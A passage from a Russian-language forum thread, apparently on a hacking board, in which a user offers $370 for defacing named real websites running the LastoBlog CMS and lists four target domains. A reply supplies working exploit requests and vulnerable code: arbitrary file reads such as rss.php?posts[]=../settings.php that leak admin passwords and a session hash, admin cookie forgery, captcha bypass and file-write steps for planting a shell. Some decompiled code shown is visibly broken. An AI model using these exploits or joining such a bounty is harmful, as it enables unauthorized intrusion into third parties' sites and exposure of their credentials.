Просмотр полной версии : Хочу провести конкурс на взлом LastoBlog
Приветствую господа!
Когда то юзал CMS LastoBlog, несколько раз дефейсили его, следовательно взлому он поддается :)
Гонорар $370 тому, кто похакает сайт на этом движке.
Сайт не затирайте просто, положите какой-нибудь файл, вот парочка таргетов на этом движке:
blog.d21.ru
goldguru.ru/blog/
dimox.biz
prmstudio.com
Если нужна сама cms, пишите в личку.
Результаты будут опубликованы здесь.
Впирьйод на бобра!
Ссылку на скачку двига выкладывай в теме.
Или хотябы в личку ответь, на офф. сайте двиг платный.
ссыль на скачку пульни в личку, и имхо нужно к гарантам форума обратиться.
Выложил, забирать тут. (http://z94455.infobox.ru/lastocms.rar)
otmorozok428
05.07.2008, 18:40
Ибо, мне кажется, ты часть файлов забыл в архив положить... Сразу бросается в глаза отсутствие в корне файлов login.html, connect.html, search.html и др. Можешь выложить какую-нить менее коцанную версию?
Я так понимаю, если я залью любой файл в корень любого из сайтов в этой теме на этом движке я полочу гонарар или там будут дополнительные условия?
blog.d21.ru
goldguru.ru/blog/
dimox.biz
prmstudio.com
370 за все, или за один?
-Hormold-
07.07.2008, 20:23
Скорей всего тебя сломали через другой сайт.
так же как inhacking.org.
смотри логи
посмотрел исходники, эти и свежие с офф. сайта(10WMZ).
Твои несколько устарели.
Но ни там ни сям нет глобальных уязвимостей.
Есть опасные моменты.
Есть недочеты по безопасности из разряда "как не надо делать".
Но если сервак настроен правильно - воспользоваться не выйдет.
Сломать можно либо через хсс, либо только через revers-ip.
Не даю гарантии. Мог что-то не заметить, однако копал довольно долго и придирчиво.
Вобщем, я подумал еще раз и....
В том коде что ты дал(старые исходники):
==========================
Чтение произвольного файла.
Массив $posts не определен изначально.
При register_globals=ON мы можем внести свои файлы в список отображаемых.
Требование: register_globals=ON
Эксплоит:
/rss.php?posts[]=../session.php
/rss.php?posts[]=../settings.php
/rss.php?posts[]=../blog_settings.ini
/data/session.php
<? $_s["sid"]="74e8cbbe945570109125f10a20bf5df8"; ?>
/data/settings.php
$_s['pass'] = "fsdkj8309u7ghowrj32"; // пароль для входа в админку.
/data/blog_settings.ini
login="admin"; логин для входа в админку.
pass="entero"; пароль для входа в админку.
pepetun="default"; измените на любое английское слово.
email="vadim_lasto@mail.ru";
Вырезка уязвимого кода:
/rss.php
$d=dir("data/posts");
while (false!==($entry=$d->read()))
if (strlen($entry)==10 && is_numeric($entry) && $entry <= time()) $posts[]=$entry;
==========================
Так получаем админские привилегии по хешу из "/data/session.php"
COOKIE: admin_connected=74e8cbbe945570109125f10a20bf5df8;
Вырезка уязвимого кода:
/index.php
$_s['admin']=(isset($_COOKIE['admin_connected']) and $_COOKIE['admin_connected']==$_s["sid"]) ? true : false;
==========================
Зачетный обход капчи в куках:
Вырезка уязвимого кода:
/index.php
or $_COOKIE['secret_number']!=$_POST['verification']) exit("wrong key control");
/key.php
list ($x,$y,$sc,$tt)=array(
120,
19,
array(array(255,255,255),array(0,0,255)),
(isset($_COOKIE['secret_number']) and is_numeric($_COOKIE["secret_number"])) ?
$_COOKIE["secret_number"]:
" ERROR "
);
==========================
==========================
==========================
В свежих исходниках с сайта:
Last Blog version_05.10.07 work
[i] возможная не\работоспособность кода обусловлена кривостью дезендера
==========================
Обход капчи в куках:
/key.php
$n = extract( $_GET, EXTR_OVERWRITE );
==========================
Создание шела.
В секции "new","old" имя файла $fn не определено
При register_globals=ON мы можем переопределить путь
/index.php
case "new" :
$_s['post_short_info'][$page] = $data;
$_s['post_short_info'] = arr2disk( $_s['post_short_info'], $indx );
fw( $data['title'].$oslen.$oslen.$text, $fn );
fw( "", $cn );
build_index( $page );
redirect( $turl."/post_$page.html" );
exit( );
case "old" :
$data['com'] = isset( $_s['post_short_info'][$cat]['com'] ) ? $_s['post_short_info'][$cat]['com'] : $data['com'];
if ( $cat != $page )
{
if ( unlink( $fo ) )
{
if ( rename( $co, $cn ) || isset( $_s['post_short_info'][$cat] ) )
{
}
}
}
$_s['post_short_info'][$page] = $data;
$_s['post_short_info'] = arr2disk( $_s['post_short_info'], $indx );
fw( $data['title'].$oslen.$oslen.$text, $fn );
build_index( $page );
redirect( $turl."/comment_$page.html" );
exit( );
do
{
default :
} while ( in_array( $cat, $posts ) ? "old" : "new" ? TRUE : );
exit( );
==========================
Создание шела.
$_POST['text'] не фильтруется и подставляется в имя записываемого файла.
Желательно magic_qoutes=OFF
/remoute.html
POST: [some_parameters_here]
Вырезка уязвимого кода:
/data/php_pages/remoute.php
$state = true == $_s['admin'] ? "getform" : "work";
case "work" :
do
{
if ( !isset( $_POST['title'] ) && isset( $_POST['publicate'] ) && isset( $_POST['text'] ) && isset( $_POST['category'] ) && isset( $_POST['code'] ) )
break;
if ( in_array( $_POST['category'], array_keys( $_s['cats'] ) ) )
{
}
} while( 0 );
finita( $_s['lang']['failed'] );
if ( trim( $_POST['title'] ) == "" )
{
finita( $_s['lang']['postcreate_nosubj'] );
}
if ( trim( $_POST['text'] ) == "" )
{
finita( $_s['lang']['postcreate_empty'] );
}
$a = explode( " ", trim( $_POST['publicate'] ) );
if ( count( $a ) != 2 )
{
finita( $_s['lang']['postcreate_date_wrong'] );
}
$b = explode( ".", $a[0] );
$c = explode( ":", $a[1] );
if ( count( $b ) != 3 )
{
finita( $_s['lang']['postcreate_date_error'] );
}
if ( count( $c ) != 3 )
{
finita( $_s['lang']['postcreate_time_error'] );
}
$page = mktime( $c[0], $c[1], $c[2], $b[1], $b[0], $b[2] );
$data = array( "cat"=>trim( $_POST['category'] ), "title"=>trim( $_POST['title'] ), "com"=>0 );
$cn = trim( $_POST['text'] );
$co = trim( $_POST['text'] );
$fn = trim( $_POST['text'] );
$fo = trim( $_POST['text'] );
$indx = trim( $_POST['text'] );
$text = trim( $_POST['text'] );
array( , "./data/posts/index.php", "./data/posts/".$cat, "./data/posts/".$page, "./data/comments/".$cat, "./data/comments/".$page );
$sw = in_array( $cat, $posts ) ? "old" : "new";
case "new" :
$_s['post_short_info'][$page] = $data;
$_s['post_short_info'] = arr2disk( $_s['post_short_info'], $indx );
fw( $data['title'].$oslen.$oslen.$text, $fn );
fw( "", $cn );
build_index( $page );
exit( );
function fw($content, $file) {
if (file_exists($file)) $db=fopen($file,"r+");
else $db=fopen("$file","w");
if ($db) {
set_file_buffer($db,0);
flock($db,LOCK_EX);
ftruncate($db,0);
fwrite($db, $content);
flock($db,LOCK_UN);
fclose($db);
}
}
==========================
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot